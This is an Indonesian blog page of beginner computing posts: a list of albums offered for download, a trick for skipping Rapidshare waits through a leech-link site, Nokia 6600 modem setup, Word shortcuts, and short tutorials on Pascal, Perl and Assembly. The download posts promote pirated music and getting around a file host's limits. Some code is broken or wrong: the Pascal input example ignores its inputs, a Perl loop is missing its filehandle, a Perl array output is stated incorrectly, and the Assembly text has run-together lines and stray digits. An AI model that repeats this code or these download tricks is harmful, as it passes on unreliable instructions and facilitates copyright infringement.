| 0 komentar ]

Daftar Album baru yang bisa di download:

1. Nine Ball - Hingga Akhir waktu
2. Yovie & The Nuno-The Spesial One
3. Yovie Widianto-Kemenangan Hati
4. Angkasa-J.P.S(Jangan Pernah Selingkuh) 2008
5. Andrea-Cinta 2008
6. Afgan-Confession No.1 2008
7. Nina-Untitled 2008
8. Naff-Rahasia Hati(2008)
9. Nidji-Top Up(HQ)
10.Sunrise-Terbit(2008)

Lanjutan “Link Buat Temen-Temen yang mau download Album Baru”  »»
| 0 komentar ]

Halo semuanya!! Salam kenal y!

disini aku mau kasih tahu cara buat temen-temen yang hobby-nya download, baik itu mp3, 3gp atau bahkan program. biasanya kalo kita download mp3 pakai rapidshare pasti kita harus tunggu beberapa menit baru bisa download malah kadang harus nunggu setengah jam baru bisa download lagi.
Trik kali ini menggunakan Link generator jadi kita bisa mendownload beberapa lagu pada waktu yang bersamaan dan juga tanpa harus menunggu waktu seperti yang ada di rapidshare.
Oke kita langsung saja pada intinya. caranya adalah sebagai berikut:

1. copy link rapidshare yang akan di download misalnya:
http://rapidshare.com/files/55363632/
Nineball_-_07._Tak_Mampu_Bicara_-_hacker.imzers.us.mp3

2. buka browser baru lalu ketik url berikut:
http://www.viete.info/


3. selanjutnya copykan link rapidshare tadi di Leech a file ?Enter a URL: pada website viete.com
ketikkan juga security codenya.

4.setelah semua selesai klik save tunggu beberapa saat maka dibawah akan muncul file yang akan kita download, setelah itu anda klik link file yang akan didownload dan simpan dihardisk anda.

5. selesai.
anda bisa mendownload sampai puas tanpa harus menunggu waktu seperti yang ada dirapidshare. tapi batas maksimal file yang bisa didownload tidak lebih dari 50Mb.

selamat mencoba!!

mudah-mudahan bisa bermanfaat, maaf kalau kata-katanya kurang pas soalnya aku juga masih newbie!!

Lanjutan “Tips Download File Rapidshare”  »»
| 15 komentar ]

Didalam artikel ini saya akan menjelaskan bagaimana setting HP Nokia 6600 dijadikan modem agar computer kita bisa terhubung keinternet, saya menggunakan tipe HP ini karena itu adalah tipe HP saya, sudah saya coba dan ternyata berhasil. Adapun langkah-langkahnya adalah sebagai berikut:

Bahan-bahan yang perlu disiapkan :

  1. Komputer dengan system operasi Windows XP baik SP1 atau SP2
  2. HP Nokia 6600 (saya pakai tipe ini karena Cuma ini yang saya punya kalau anda mau coba tipe yang lain juga bisa selama HP anda bisa terhubung kekomputer baik menggunakkan kabel data, IrDa, atau Bluetooth.)
  3. Bluetooth merek BlueSoleil (bisa juga merek lain terserah anda juga karena merek itu juga yang saya punya)
  4. Bahan-bahan selesai.

Software yang kita perlukan:

1. Nokia Modem Option buat N6600, anda bisa cari disitus nokia.com atau bisa

juga digoogle namanya (Nokia_6600_Modem_Options.exe) ukurannya

Cuma 10,5Mb atau kalo anda tidak mau download hubungi saja saya.

2. Driver bawaan Bluetooth merek BlueSoleil.

Setelah semuanya siap tahap selanjutnya adalah penginstallan

  1. Install driver BlueSoleil yang anda punya, caranya double klik setup kemudian next terus sampai finish.
  2. jika anda sudah dapat Nokia_6600_Modem_Options.exe maka install software tersebut, tapi jika belum cari sampai dapat, karena jika tidak ada software itu tidak akan bisa.

Selanjutnya adalah tahap setting menyetting langkah-langkahnya adalah sebagai berikut:

  1. Aktifkan Bluetooth di HP
  2. Masuk ke Control Panel kemudian buka Phone and Modem Option, adapun tampilannya adalah sebagai berikut.


  1. Selanjutnya pilih add pada tab modems (maaf computer saya sudah pernah dicoba jadi Nokia 6600 (Bluetooth) sudah ada tapi anggap saja itu belum ada karena saya akan jelaskan semuanya lagi).
  2. Setelah kita klik add maka akan muncul tampilan sebagai berikut. Kemudian pilih/ centang don’t detect my modem; I will select it from a list.

  1. Kemudian klik Next selanjutnya akan muncul tampilan sebagai berikut, pada

tab Manufacturer pilih Nokia dan pada Models pilih Nokia 6600 (Bluetooth).

  1. kemudian klik Next > lagi kemudian muncul tampilan buat memilih port, pada tab Selected Port pilih yang Com 12 (ini untuk merek BlueSoleil) biasanya semua merek Bluetooth sama.

  1. Selanjutnya klik Next lagi, bila minta di install pilih yang Continue Anyway tunggu sampai Finish.
  2. Bila proses tadi berhasil maka di Nokia Modem Options (Control Panel) akan muncul tampilan sebagai berikut.
  1. Pada Nokia Modem Options Setting Sebagai berikut:

- Pilih di Installed Modem (Nokia 6600 Bluetooth)
- Connection Method (Modem)
- Gprs Access Point (www.telkomsel.com) –> soalnya waktu pertama saya coba pakai kartu As.

  1. Selanjutnya klik OK

Tahap selanjutnya adalah lakukan koneksi dengan driver Bluetooth yang sudah kita install tadi. Langkah-langkahnya sebagai berikut:

  1. Aktifkan Bluetooth yang ada dikomputer anda caranya klik Start Menu- Programs - IVT Bluesoleil.
  2. Aktifkan juga Bluetooth yang ada di HP, lalu lakukan koneksi tampilannya sebagai berikut:

Lanjutan “Koneksi Internet via GPRS menggunakkan HP N6600 sebagai Modem”  »»
| 0 komentar ]

Editing and moving text and graphics

Delete text and graphics

BACKSPACE

Delete one character to the left

CTRL+BACKSPACE

Delete one word to the left

DELETE

Delete one character to the right

CTRL+DELETE

Delete one word to the right

CTRL+X

Cut selected text to the Clipboard

CTRL+Z

Undo the last action

CTRL+F3

Cut to the Spike

Copy and move text and graphics

CTRL+C

Copy text or graphics

CTRL+C, CTRL+C

Display the Office Clipboard

F2 (then move the insertion point and press ENTER)

Move text or graphics

ALT+F3

Create AutoText

CTRL+V

Paste the Clipboard contents

CTRL+SHIFT+F3

Paste the Spike contents

ALT+SHIFT+R

Copy the header or footer used in the previous section of the document

Insert special characters

CTRL+F9

A field

ENTER (after typing the first few characters of the AutoText entry name and when the ScreenTip appears)

An AutoText entry

SHIFT+ENTER

A line break

CTRL+ENTER

A page break

CTRL+SHIFT+ENTER

A column break

CTRL+HYPHEN

An optional hyphen

CTRL+SHIFT+HYPHEN

A nonbreaking hyphen

CTRL+SHIFT+SPACEBAR

A nonbreaking space

ALT+CTRL+C

The copyright symbol

ALT+CTRL+R

The registered trademark symbol

ALT+CTRL+T

The trademark symbol

ALT+CTRL+period

An ellipsis

Select text and graphics

Select text by holding down SHIFT and pressing the key that moves the insertion point.

Select multiple areas that aren't next to each other

After making your first selection, hold down CTRL, and then select any other items you want.

Extend a selection

F8

Turn extend mode on

F8, and then press LEFT ARROW or RIGHT ARROW

Select the nearest character

F8 (press once to select a word, twice to select a sentence, and so forth)

Increase the size of a selection

SHIFT+F8

Reduce the size of a selection

ESC

Turn extend mode off

SHIFT+RIGHT ARROW

One character to the right

SHIFT+LEFT ARROW

One character to the left

CTRL+SHIFT+RIGHT ARROW

To the end of a word

CTRL+SHIFT+LEFT ARROW

To the beginning of a word

SHIFT+END

To the end of a line

SHIFT+HOME

To the beginning of a line

SHIFT+DOWN ARROW

One line down

SHIFT+UP ARROW

One line up

CTRL+SHIFT+DOWN ARROW

To the end of a paragraph

CTRL+SHIFT+UP ARROW

To the beginning of a paragraph

SHIFT+PAGE DOWN

One screen down

SHIFT+PAGE UP

One screen up

CTRL+SHIFT+HOME

To the beginning of a document

CTRL+SHIFT+END

To the end of a document

ALT+CTRL+SHIFT+PAGE DOWN

To the end of a window

CTRL+A

To include the entire document

CTRL+SHIFT+F8, and then use the arrow keys; press ESC to cancel selection mode

To a vertical block of text

F8+arrow keys; press ESC to cancel selection mode

To a specific location in a document

Tip

If you know the key combination to move the insertion point, you can generally select the text by using the same key combination while holding down SHIFT. For example, CTRL+RIGHT ARROW moves the insertion point to the next word, and CTRL+SHIFT+RIGHT ARROW selects the text from the insertion point to the beginning of the next word.

Select text and graphics in a table

TAB

Select the next cell's contents

SHIFT+TAB

Select the preceding cell's contents

Hold down SHIFT and press an arrow key repeatedly

Extend a selection to adjacent cells

Click in the column's top or bottom cell. Hold down SHIFT and press the UP ARROW or DOWN ARROW key repeatedly

Select a column

CTRL+SHIFT+F8, and then use the arrow keys; press ESC to cancel selection mode

Extend a selection (or block)

SHIFT+F8

Reduce the selection size

ALT+5 on the numeric keypad (with NUM LOCK off)

Select an entire table

Move the insertion point

LEFT ARROW

One character to the left

RIGHT ARROW

One character to the right

CTRL+LEFT ARROW

One word to the left

CTRL+RIGHT ARROW

One word to the right

CTRL+UP ARROW

One paragraph up

CTRL+DOWN ARROW

One paragraph down

SHIFT+TAB

One cell to the left (in a table)

TAB

One cell to the right (in a table)

UP ARROW

Up one line

DOWN ARROW

Down one line

END

To the end of a line

HOME

To the beginning of a line

ALT+CTRL+PAGE UP

To the top of the window

ALT+CTRL+PAGE DOWN

To the end of the window

PAGE UP

Up one screen (scrolling)

PAGE DOWN

Down one screen (scrolling)

CTRL+PAGE DOWN

To the top of the next page

CTRL+PAGE UP

To the top of the previous page

CTRL+END

To the end of a document

CTRL+HOME

To the beginning of a document

SHIFT+F5

To a previous revision

SHIFT+F5

To the location of the insertion point when the document was last closed

Move around in a table

TAB

Next cell in a row

SHIFT+TAB

Previous cell in a row

ALT+HOME

First cell in a row

ALT+END

Last cell in a row

ALT+PAGE UP

First cell in a column

ALT+PAGE DOWN

Last cell in a column

UP ARROW

Previous row

DOWN ARROW

Next row

Insert paragraphs and tab characters in a table

ENTER

New paragraphs in a cell

CTRL+TAB

Tab characters in a cell

Working with documents and Web pages

Create, view, and save documents

CTRL+N

Create a new document of the same type as the current or most recent document

CTRL+O

Open a document

CTRL+W

Close a document

ALT+CTRL+S

Split the document window

ALT+SHIFT+C

Remove the document window split

CTRL+S

Save a document

Find, replace, and browse through text

CTRL+F

Find text, formatting, and special items

ALT+CTRL+Y

Repeat find (after closing Find and Replace window)

CTRL+H

Replace text, specific formatting, and special items

CTRL+G

Go to a page, bookmark, footnote, table, comment, graphic, or other location

ALT+CTRL+Z

Go back to a page, bookmark, footnote, table, comment, graphic, or other location

ALT+CTRL+HOME

Browse through a document

Undo and redo actions

ESC

Cancel an action

CTRL+Z

Undo an action

CTRL+Y

Redo or repeat an action

Switch to another view

ALT+CTRL+P

Switch to print layout view

ALT+CTRL+O

Switch to outline view

ALT+CTRL+N

Switch to normal view

CTRL+\

Move between a master document and its subdocuments

Outline view

In outline view, press

ALT+SHIFT+LEFT ARROW

Promote a paragraph

ALT+SHIFT+RIGHT ARROW

Demote a paragraph

CTRL+SHIFT+N

Demote to body text

ALT+SHIFT+UP ARROW

Move selected paragraphs up

ALT+SHIFT+DOWN ARROW

Move selected paragraphs down

ALT+SHIFT+PLUS SIGN

Expand text under a heading

ALT+SHIFT+MINUS SIGN

Collapse text under a heading

ALT+SHIFT+A

Expand or collapse all text or headings

The slash (/) key on the numeric keypad

Hide or display character formatting

ALT+SHIFT+L

Show the first line of body text or all body text

ALT+SHIFT+1

Show all headings with the Heading 1 style

ALT+SHIFT+n

Show all headings up to Heading n

CTRL+TAB

Insert a tab character

Printing and previewing documents

CTRL+P

Print a document

ALT+CTRL+I

Switch in or out of print preview

Arrow keys

Move around the preview page when zoomed in

PAGE UP or PAGE DOWN

Move by one preview page when zoomed out

CTRL+HOME

Move to the first preview page when zoomed out

CTRL+END

Move to the last preview page when zoomed out

Reviewing documents

ALT+CTRL+M

Insert a comment

CTRL+SHIFT+E

Turn track changes on or off

ALT+SHIFT+C

Close the Reviewing Pane if it is open

References, footnotes, and endnotes

ALT+SHIFT+O

Mark a table of contents entry

ALT+SHIFT+I

Mark a table of authorities entry (citation)

ALT+SHIFT+X

Mark an index entry

ALT+CTRL+F

Insert a footnote

ALT+CTRL+D

Insert an endnote

Working with Web pages

CTRL+K

Insert a hyperlink

ALT+LEFT ARROW

Go back one page

ALT+RIGHT ARROW

Go forward one page

F9

Refresh

Note To use keys to go back or forward one page or to refresh a page, the Web toolbar must be showing. If the Web toolbar is not showing, press ALT+V, press T, use the arrow keys to select Web, and then press ENTER.

Lanjutan “Kombinasi Tombol pada Sistem Operasi Windows”  »»
| 1 komentar: ]

Tips ini ditujukan kepada newbie yang baru kenal ma computer mudah-mudahan tips ini dapat bermanfaat!!

Menampilkan screen tips

Screen tips merupakan tulisan yang muncul saat pointer mouse diletakkan di atas icon pada toolbar. Dengan menampilkan screen tips tersebut Anda dapat melihat shortcut untuk icon tertentu sehingga nantinya Anda dapat bekerja lebih efisien dengan bantuan shortcut tersebut.
Langkah-langkahnya sebagai berikut :
1. Klik menu Tools - Customize.
2. Pindah ke tab Options.
3. Beri tanda check pada Show screen tips on toolar.
4. Klik OK.

Mengganti ukuran dalam centimeter

Secara default ukuran panjang dan lebar document pada MS Word adalah dalam Inches. Anda bisa menggantinya dengan ukuran centimeter atau yang lainnya sesuai keinginan Anda. Caranya sbb :
1. Klik menu Tools - Options.
2. Pindah ke tab General.
3. Pada measurement units Anda tingal pilih sesuai yang Anda sukai (centimeter, inches, points, picas).
4. Klik OK.

Membuat page border

1. Dari menu Format, pilih Border and Shading.Tampilan page border pada MS Word
2. Pindah ke tab Page Border.
3. Pilih border yang sesuai pada listbox Art.
4. Klik OK.


Membuat background

1. Dari menu Format, pilih Background - Fill Effects.Tampilan halaman MS Word dengan menggunakan background image
2. Pindah ke tab Texture.
3. Anda bisa memilih dari berbagai Texture yang telah disediakan oleh MS Word. Bila Anda ingin menggunakan image atau gambar Anda sendiri klik Other Texture.
4. Klik OK.

Menampilkan jam dalam format
Indonesia

Lihatlah pada pojok kiri komputer Anda, pastilah terdapat tampilan jam yang menunjukkan waktu pada saat ini. Tampilan waktu tersebut tentunya sangat bermanfaat bagi Anda yang sangat menghargai waktu, apalagi bagi Anda yang tidak punya jam :-). Tapi seringkali tampilan tersebut tidak sesuai dengan kebiasaan kita (baca : orang
Indonesia) yang menganut sistem 24 jam. Sehingga tampilan jam selalu menunjukkan antara angka 1 sampai 12 (hanya beda am dan pm).

Sebenarnya Anda bisa mengganti tampilan jam tersebut sehingga lebih sesuai dengan format di Indonesia, misalnya 13.00 untuk menunjukkan jam 1.00 siang, 23.00 untuk jam 11 malam. Caranya sebagai berikut :
1. Buka Control Panel.
2. Klik icon Regional Settings.
3. Pada tab Regional Settings, pilih negara
Indonesia.
4. Klik Apply, terus OK.
5. Terakhir restart komputer.

Mengurutkan menu

Kadang menu (shortcut) yang terletak pada Start - Programs tidak urut berdasarkan abjad sehingga acapkali membingunkan kita. Nah, untuk mengurutkan menu tersebut caranya sbb : klik Start - Programs, geser kursor ke kanan. Klik kanan dan pada menu yang muncul pilih Sort By Name.

Lanjutan “Tips Buat Newbie”  »»
| 3 komentar ]

Definisi

cara pemrosesan data yang terstruktur. Terstruktur dalam analisa, cara, dan penulisan program.

Prinsip utama dari pemrograman terstruktur adalah jika suatu proses telah sampai pada suatu titik tertentu, maka proses selanjutnya tidak boleh melompat kebaris sebelumnya, kecuali untuk proses perulangan.

Tujuan


Meningkatkan kehandalan program

Program mudah dibaca dan ditelusuri

Menyederhanakan kerumitan program

Ciri-ciri

Gunakan rancangan pendekatan dari atas ke bawah ( Top-Down Design ).

Bagi program kedalam modul-modul logika yang sejenis.

Gunakan sub-program untuk proses-proses sejenis yang sering digunakan.

Gunakan pengkodean terstruktur: IF..Then, DO..WHILE, REPEAT..UNTIL, dan lain-lainnya.

Hindarkan penggunaan perintah GO TO bila tidak diperlukan.

Buat dokumentasi yang akurat dan berarti.

Tahapan membuat program

Tentuakan keluaran ( Output ) yang diminta, masukkan input yang diperlukan, dan proses-proses utama yang diperlukan untuk transformasi data.

Membagi proses utama ke dalam modul-modul fungsional.

Buat algoritma masing-masing modul, dari modul utama ke sub-sub modul.

Contoh

Program contoh_tambah; { Judul program }

Uses Wincrt; { suatu pengenal piranti windows, kalau memakai DOS menggunakan Uses crt; }

var A,B,C:integer; { bagian deklarasi }

Begin

A:=4; Input statis

B:=5;

C:=4+5;

writeln('C=',C); Bagian Program utama

readln;

donewincrt;

end.

Program contoh_tambah; { Judul program }

Uses Wincrt; { suatu pengenal piranti windows, kalau memakai DOS menggunakan Uses crt; }

var A,B,C:integer; { bagian deklarasi }

Begin

Writeln(‘masukkan nilai A=’); readln (A);

Writeln(‘masukkan nilai B=’); readln (B);

C:=4+5; { Proses }

writeln('C=',C); { Output } readln;

donewincrt;

end

Mendeklarasikan variable adalah:

Memberikan nama variable sebagai identitas pengenal.

Menentukan tipe data variable

Contoh deklarasi variable:

Var A: Integer;

B: Real;

C: String;

Konstanta

Memberikan nama konstranta sebagai identitas pengenal.

Menentukan nilai konstanta.

Contoh:

Const PHI=3.14;

Const Diskon=0.1;

Lanjutan “Sekilas Tentang Pemrograman Terstruktur”  »»
| 1 komentar: ]

Perl dikenal juga sebagai pasangan setia OPS. SYS *nix, apalagi linux[red]
bahasa ini dibuat dengan tujuan memudahkan banyak hal dibanding C/C++
untuk mendapatkan resource perl kunjungi www.CPAN.org, www.pERl.com,
Perl.org dsb

*baiklah saya mau' apa yang harus saya lakukan?
Jika anda pemakai *nix [linux] , anda hanya perlu mengikutsertakan
pengekstrannya pada saat installasi,secara default pun dia telah tergabung
pada saat anda lakukan installasi .
bagi pengguna winD*ws Downloadlah Active PErl [yang terumum] dipakai.....

*Selanjutnya, anda perlu sebuah teks editor,buat Linux bisa pakai Vi,
sedang di widows bisa pakai notepad dan savelah dengan ekstension .pl

*MULAI memprogram..
sepertinya mencetak tulisan "Hallo dunia" menjadi trend untuk latihan
pertama kali:

#hallodunia.pl
print "HALLO DUNIA \n";

save as . hallodunia.pl
jalankan;
linux system : [y3dips@y3 y3dips]$ ./hallodunia.pl
WinD*S system: c:\ perl hallodunia.pl

maka output yang didapat: HALLO DUNIA

*gunakan variabel>> variabel adalah tempat untuk menyimpan sesuatu yang
biasanya mudah anda ubah dan temukan;

$terserah = "HALLO DUNIA!\n"; # men-Set variabel
print $terserah; # menampilkan variabel
Outputnya:
HALLO DUNIA!

kita tidak perlu mendefinisikan apa tipe dari $terserah karena $terserah
merupakan variabel skalar..
.
Scalar dapat di kaitkan dengan nilai baru yang ditandaidengan "=",Variabel
scalar dapat berisi integers, floating-point, string, bahkan menunjuk
variabel lainnya atau kepada suatu objek.

$jawaban = 42; # integer
$pi = 3.14159265; # nilai "real"
$avocados = 6.02e23; # bilangan matematika
$peliharaan = "Unta"; # string
$tanda = "I love my $peliharaan"; # string dengan interpolasi
$biaya = 'It costs $100'; # string tanpa interpolasi
$thence = $whence; # variabel lainnya
$x = $moles * $avocados; # berupa ekspresi
$cwd = `pwd`; # menghasilkan output string
$exit = system("vi $x"); # menghasilkan status numerik
$fido = Unta baru "Fido"; # berupa objek

*gunakan Array
Array merupakan sederet/barisan string

@belajar = ("perl", "php", "c", "pascal");
print $belajar[1];
maka output yang keluar adalah: php

atau
$perl = "keren";
$php = "asyik";
$c ="woww!";
$pascal ="tahats ok!";
($perl, $php, $c, $pascal) = @belajar;
print $belajar[3];
maka output yang keluar adalah : woww!



*Eksekusi file
memanggil file dan mengeksekusinya:
sebagai contoh kita akan membuat program penghitung rata-rata nilai
yang inputannya adalah sebuah file terpisah..

*buat file tanpa ekstension dengan berisi data-data nama beserta
nilainya dengan nama: data

yyyyy 29
yyyyy 14
yyyyy 10
xxxxx 35
zzzzz 20
sssss 16
xxxxx 12
yyyyy 26

kemudian buat program untuk mengeksekusinya:( kodenya nyontek :P)

#!/usr/bin/perl

open(DATA, "data") or die "gak bisa buka file data: $!\n";
while ($line = ) {
($student, $grade) = split(" ", $line);
$grades{$student} .= $grade . " ";
}

foreach $student (sort keys %grades) {
$scores = 0;
$total = 0;
@grades = split(" ", $grades{$student});
foreach $grade (@grades) {
$total += $grade;
$scores++;
}
$average = $total / $scores;
print "$student: $grades{$student}\tAverage: $average\n";
}

output:
C:\PL>perl grade.pl
sssss: 16 Average: 16
xxxxx: 35 12 Average: 23.5
yyyyy: 29 14 10 26 Average: 19.75
zzzzz: 20 Average: 20

Segini dulu y lain kali kita belajar lagi!!

Lanjutan “Berkenalan Dengan Bahasa Perl”  »»
| 7 komentar ]

1. Apakah Sebenarnya Bahasa Assembly itu?

-------------------------------------------

Bahasa Assembly (Assembler) adalah merupakan salah satu dari sekian banyak bahasa pemrograman yang tergolong dalam Bahasa Pemrogaman Tingkat Rendah (Low Level Language) dan hanya setingkat diatas bahasa mesin (Machine Language).



2. Mengapa Assembly?

----------------------

Assembly memiliki kelebihan yang tidak dapat digantikan oleh bahasa pemrogaman manapun. Diantaranya adalah :

- Hasil program memiliki tingkat kecepatan yang tinggi.

- Ukuran dari program kecil.

- Sangat mudah untuk mengakses Sistem Komputer.



3. Apakah Segment dan Offset itu?

-----------------------------------

Segment dan Offset merupakan suatu angka 16 bit (direpresntasikan dalam bilangan hexa) yang menunjukkan suatu alamat tertentu di memory komputer. Pasangan segment : offset ini disebut juga alamat relatif. Selain alamat relatif, terdapat juga alamat mutlak berupa angka 20 bit (juga direpresentasikan dalam bilangan hexa). Alamat mutlak ini dapat dihitung dengan mengalikan segment dengan 10 hexa dan ditambahkan dengan offset.

Contoh : segment : offset

0100 : 1234

Alamat relatifnya adalah : 02234



4. Apakah Interrupt itu?

--------------------------

Interrupt adalah permintaan kepada microprocessor untuk melakukan suatu perintah. Ketika terjadi permintaan interupsi, microprocessor akan mengeksekusi interrupt handler , yaitu suatu program yang melayani interupsi. Setitap interrupt handler itu memiliki alamat masing - masing yang disimpan dalam bentuk array yang masing - masing terdiri dari 4 byte (2 offset dan 2 segment). Array ini disebut vektor interupsi . Vektor interupsi ini disusun berdasarkan nomor interupsi yaitu dari hexa. Selain itu, dikenal juga istilah service dan subservice, maksudnya adalah bahwa setiap interrupt itu dibagi menjadi beberapa bagian yang mempunyai tugas masing - masing. Tetapi ada juga interrupt yang tidak memiliki service, contohnya int 29.


5. Apakah Register itu?

-------------------------

Register adalah merupakan sebagian memory dari microprocessor yang neniliki kecepatan sangat tinggi. Dapat juga dianalogikan bahwa register merupakan kaki tangan dari microprocessor.



Register dibagi menjadi lima bagian besar yaitu :

1. Segment Register (16 bit)

Register untuk menunjukkan alamat dari suatu segment. Yang termasuk register segment :

. CS (Code Segment)

Menunjukkan alamat segment dari program yang sedang aktif.

. DS (Data Segment)

Menunjukkan alamat segment dari data program (variabel).

. SS (Stack Segment)

Menunjukkan alamat segment dari stack yang digunakan program.

. ES (Extra Segment)

Merupakan register segment cadangan.



2. Pointer dan Index Register (16 bit) Register untuk menunjukkan alamat dari suatu offset.

Yang termasuk register pointer dan index :

. SP (Stack Pointer)

Berpasangan dengan SS (SS : SP).

. BP (Base Pointer)

Berpasangan dengan SS (SS : BP).

. DI (Destination Index)

Berpasangan dengan ES (ES : DI). Dipakai untuk operasi string.

. SI (Source Index)

Berpasangna dengan DS (DS : SI). Dipakai untuk operasi string.



3. General Purpose Register (16 bit)

Register ini dapat digunakan untuk berbagai keperluan, tetapi masing - masing juga memiliki fungsi khusus. Jenis register ini memiliki ciri khas, yaitu dapat dibagi lagi menjadi register 8 bit, register tinggi/high, dan register rendah/low.

Yang termasuk register general purpose :

. AX --> AH|AL (Accumulator)

Untuk menangani operasi arithmatika.

. BX --> BH|BL (Base)

Untuk menunjukkan alamat offset.

. CX --> CH|CL (Counter)

Untuk looping, menunjukkan berapa kali looping terjadi.

. DX --> DH|DL (Data)

Untuk menampung sisa pembagian bilangan 16 bit.



4. Index Pointer Register (16 bit)

Hanya terdiri dari 1 register yaitu IP yang berpasangan dengan reguster CS (CS : IP) untuk menunjukkan alamat instruksi selanjutnya yang akan dieksekusi.



0125. Flags Register (1 bit)

Register ini berfungsi untuk menunjukkan suatu kondisi (ya atau tidak).

Register ini hanya bernilai 0 dan 1.

Yang termasuk register flags :

. OF (Overflow Flag) 1 jika terjadi overflow

. SF (Sign Flag) 1 jika digunakan bilangan bertanda

. ZF (Zero Flag) 1 jika hasil operasi bernilai 0

. CF (Carry Flag) 1 jika operasi menghasilkan carry

. PF (Parity Flag) 1 jika hasil operasi bilangan genap

. DF (Direction Flag) 1 jika alur proses alur proses menurun pada string

. IF (Interrupt Flag) 1 jika proses dapat diinterupsi

. TF (Trap Flag) 1 jika dapat ditrace / debug

. AF (Auxiliary Flag) digunakan pada operasi bilangan BCD

. NT (Nested Task) digunakan untuk menangani interupsi beruntun

. IOPL (I/O Protection Level) digunakan untuk mode proteksi (2 bit)



6. Bagaimana memulai Assembly?

---------------------------------

Bahasa assembly tidak seperti bahasa tingkat tinggi (High Level Language) yang biasanya memiliki IDE - Integrated Development Environment, bahasa assembly dapat diketikkan dalam berbagai macam editor teks, misalnya BC, TC, TURBO, NOTEPAD, EDIT, dan editor teks lainnya. Yang perlu diingat bahwa ekstensi dari program assembly haruslah .ASM. Setelah program assembly diketikkan dan disimpan dengan ekstensi .ASM, maka program tersebut harus dikompilasi menjadi Object File berekstensi .OBJ, dan kemudian harus dilink menjadi executable file (.EXE/.COM), executable file inilah yang baru dapat dijalankan.


Untuk mengcompile : C:\TASM

Untuk melink : C:\LINK

C:\Option /t untuk melink file ke .COM

C:\Untuk melink menjadi .EXE, hilangkan option /t ini.

atau pake cara langsung :



7. Apakah Perbedaan .COM dan .EXE?

------------------------------------

Perbedaan program .COM dan .EXE adalah :

Program .COM Program .EXE

- Hanya menggunakan 1 segment untuk º - Menggunakan banyak segment.

- code, data, dan stack. º

- Ukuran program relatif kecil º - Ukuran program relatif besar

- Hasil program lebih cepat º - Hasil program lebih lambat

- Hanya dapat menangani program kecil º - Dapat menangani program yang besar(<=64 KByte). 8. Bagaimana Struktur Program .COM? ------------------------------------- Untuk .COM dan .EXE memiliki struktur program yang berbeda, untuk kesempatan ini hanya akan dibahas struktur program .COM. Berikut ini struktur program .COM (tanda ; adalah untuk komentar) : nama_segment segment ; nama_segment diisi terserah anda ; Baris ini untuk memberikan nama sebuah segment assume cs : nama_segment ; Menunjukkan CS ke segment yang sudah kita beri nama org 100h ; Untuk PSP - Program Segment Prefix ; PSP ini digunakan untuk berhubungan dengan DOS label_pertama : ; Di Assembly, minimal harus ada satu label, ; penamaan label terserah anda mov ah,04ch ; service int 21h ; int 21h service 04ch merupakan instruksi untuk ; keluar dari program nama_segment ends ; Akhir dari sebuah segment end label_pertama ; Label yang paling pertama harus ditutup dengan perintah ini 9. Bagaimana Variabel dalam Assembly? -------------------------------------- Dalam assembly dikenal beberapa jenis data, yaitu : - db (define byte) --> Besarnya 1 byte (0h - FFh)

- dw (define word) --> Besarnya 2 byte (0h - FFFFh)

- dd (define double word) --> Besarnya 4 byte (0h - FFFFFFFFh)

- df (define far word) --> Besarnya 6 byte (0h - FFFFFFFFFFFFh)

- dq (define quad word) --> Besarnya 8 byte (0h - FFFFFFFFFFFFFFFFh)

- dt (define temp word) --> Besarnya 10 byte (0h - FFFFFFFFFFFFFFFFFFFFh)



10. INT, MOV, JMP, dan LEA

----------------------------

INT

---

INT adalah perintah untuk melaksanakan suatu interupsi.

Syntaxnya adalah : INT no_interupsi

Contoh : INT 20h ; untuk program terminate



MOV

---

mOV adalah perintah untuk mengisi nilai ke register, variabel, atau alamat memory tertentu.

Syntaxnya adalah :MOV destination,source

Contoh : MOV AX,5 ; nilai AX akan berisi 5



JMP

---

JMP adalah perintah untuk melakukan lomptan ke label tertentu.

Syntaxnya adalah : JMP nama_label

Contoh : JMP label1 ; Program akan melompat ke label1



LEA

---

LEA adalah perintah untuk mendapatkan alamat dari sebuah variabel.

Syntaxnya adalah : LEA variabel

Contoh : lea si,bil1 ; si akan berisi offset bil1



11. Tambahan

--------------

Beberapa hal penting yang perlu diingat :

. Bagian deklarasi variabel tidak boleh dijalankan, harus dilewati dengan melakukan lompatan ke label setelahnya.

. Semua perintah assembly yang membutuhkan 2 operand seperti MOV memiliki syarat sebagai berikut :

- Kedua operand besarnya harus sama.

Contoh : MOV ax,bl ; ini salah karena AX 16 bit dan bl 8 bit

MOV al,bl ; ini benar, AL dan BL besarnya 8 bit

- Kedua operand tidak boleh keduanya variabel

Contoh :

MOV a,b ; ini salah, kedua operand a dan b adalah variabel

MOV al,b ; kedua perintah ini untuk menggantikan perintah

MOV a,al ; yang salah diatas

- Register segment tidak boleh diisi langsung, harus menggunakan perantara

Contoh :

MOV es,0b800h : salah, es tidak boleh diisi langsung

MOV ax,0b800h ; kedua perintah ini untuk menggantikan perintah

MOV es,ax ; yang salah diatas

. Untuk intterupt, ingatlah bahwa setiap interrupt memiliki syarat - syarat sebelum dipanggil. Penuhi syarat - syarat itu sebelum melakukan intterupt.



12. Contoh Program Sederhana

------------------------------

Program berikut ini akan membersihkan layar, kemudian akan muncul sebuah kalimat dan akan diminta untuk memasukkan sebuah karakter. Kemudian akan ditampilkan lagi sebuah kalimat diikuti dengan karakter yang tadi dimasukkan. code segment

assume cs : code

org 100h



begin : jmp start

kal1 db 'Masukkan sebuah karakter : $'

kal2 db 10,13,'Karakter yang anda masukkan adalah : $'

kar db ?



start : mov ah,0

mov al,3h

int 10h

mov ah,9h

lea dx,kal1

int 21h

12mov ah,1h

int 21h

mov kar,al

mov ah,9h

lea dx,kal2

int 21h

mov al,kar

int 29h

mov ah,4ch

int 21h

code ends

end begin



Simpanlah program diatas dengan ekstensi .asm (misal test.asm), kemudian compile program tersebut dengan perintah :

tasm

misal : tasm test.asm

Maka akan dihasilkan sebuah object file berekstensi .obj, kemudian link file tersebut dengan perintah :

tlink /t

misal : tlink /t test.obj

Maka akan dihasilkan sebuah file berekstensi .com, cobalah jalankan !



Penjelasan :

- Perhatikan baris begin : jmp start, karena baris berikutnya adalah deklarasi variabel, maka harus dilewati dengan perintah jmp start (melompat ke label start).

- Pada baris kal1 db 'Mas..... $' disini kita mendeklarasikan sebuah variabel untuk pencetakan string, ingatlah selalu untuk menambahkan tanda '$' diakhir sebuah string.

- Pada baris kal2 db 10,13,'... $' sama seperti baris sebelumnya, tetapi disini kita menambahkan 2 karakter, karakter 10 untuk turun baris, karakter 13 untuk memindahkan kursor ke awal baris.

